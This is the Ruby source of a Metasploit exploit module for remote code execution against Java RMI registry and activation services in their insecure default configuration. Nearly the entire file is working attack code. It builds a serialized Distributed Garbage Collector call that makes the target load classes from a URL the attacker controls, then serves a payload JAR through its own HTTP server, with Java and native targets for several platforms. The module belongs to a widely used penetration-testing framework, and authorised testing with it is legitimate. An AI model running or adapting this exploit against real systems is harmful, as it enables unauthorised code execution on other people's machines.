metasploit-framework/modules/exploits/multi/misc/java_rmi_server.rb

262 lines
8.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Java::Rmi::Client
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
'Description' => %q{
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
Java process.
RMI method calls do not support or require any sort of authentication.
},
'Author' => [ 'mihi' ],
'License' => MSF_LICENSE,
'References' =>
[
# RMI protocol specification
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
# Placeholder reference for matching
[ 'MSF', 'java_rmi_server']
],
'DisclosureDate' => 'Oct 15 2011',
'Platform' => %w{ java linux osx solaris win },
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(1099),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_autofilter_ports([ 1098, 1099 ])
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise ::RuntimeError, e.message
end
end
def peer
"#{rhost}:#{rport}"
end
def primer
connect
print_status("#{peer} - Sending RMI Header...")
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
end
jar = rand_text_alpha(rand(8)+1) + '.jar'
new_url = get_uri + '/' + jar
print_status("#{peer} - Sending RMI Call...")
send_call(call_data: build_gc_call_data(new_url))
return_data = recv_return
if return_data.nil? && !session_created?
fail_with(Failure::Unknown, 'RMI Call failed')
end
if return_data && loader_disabled?(return_data)
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
end
if return_data && class_not_found?(return_data)
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
end
disconnect
end
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
]
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
stop_service
end
end
def autofilter
return true
end
def loader_disabled?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
content.class_data[1].contents.include?('RMI class loader disabled')
return true
end
end
false
end
def class_not_found?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
return true
end
end
false
end
def build_gc_call_data(jar_url)
stream = Rex::Java::Serialization::Model::Stream.new
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
stream
end
end